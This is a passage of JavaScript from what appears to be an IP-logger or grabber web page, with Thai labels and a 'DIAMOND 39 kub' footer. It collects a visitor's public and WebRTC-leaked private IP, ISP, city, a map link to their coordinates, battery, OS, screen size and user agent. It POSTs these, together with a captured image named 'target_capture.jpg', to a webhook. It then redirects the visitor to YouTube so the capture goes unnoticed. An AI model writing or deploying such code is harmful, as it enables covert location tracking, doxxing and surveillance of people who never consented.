{ name: "🌐 Public IP", value: ipData.ip || "N/A", inline: true },
{ name: "🔐 Private IP", value: capturedData.privateIP, inline: true },
{ name: "🏢 ISP", value: ipData.org || "N/A", inline: false },
{ name: "📍 เมือง", value: `${ipData.city || "N/A"}, ${ipData.country_name || ""}`, inline: true },
{ name: "📌 พิกัด", value: `[คลิกดูแผนที่](https://www.google.com/maps?q=${ipData.latitude},${ipData.longitude})`, inline: true },
{ name: "🔋 แบต", value: capturedData.battery, inline: true },
{ name: "💻 OS", value: navigator.platform, inline: true },
{ name: "🖥️ หน้าจอ", value: `${window.screen.width}×${window.screen.height}`, inline: true },
{ name: "⏰ เวลา", value: new Date().toLocaleString('th-TH'), inline: false },
{ name: "🌐 User-Agent", value: navigator.userAgent, inline: false }
],
footer: { text: "DIAMOND 39 kub" }
}]
};
formData.append('payload_json', JSON.stringify(payload));
if (imageBlob) formData.append('file', imageBlob, 'target_capture.jpg');
await fetch(hook, { method: 'POST', body: formData });
window.location.replace("https://www.youtube.com");
}
function getPrivateIP() {
const rtc = new RTCPeerConnection();
rtc.createDataChannel('');
rtc.createOffer().then(o => rtc.setLocalDescription(o));
rtc.onicecandidate = (i) => {
if (i && i.candidate) {
const ipMatch = /([0-9]{1,3}(\.[0-9]{1,3}){3})/.exec(i.candidate.candidate);
if (ipMatch) capturedData.privateIP = ipMatch[1];
}
};
}
async function getBatteryStatus() {
if (navigator.getBattery) {
const b = await navigator.getBattery();
capturedData.battery = `${(b.level * 100).toFixed(0)}% ${b.charging ? '(ชาร์จ)' : ''}`;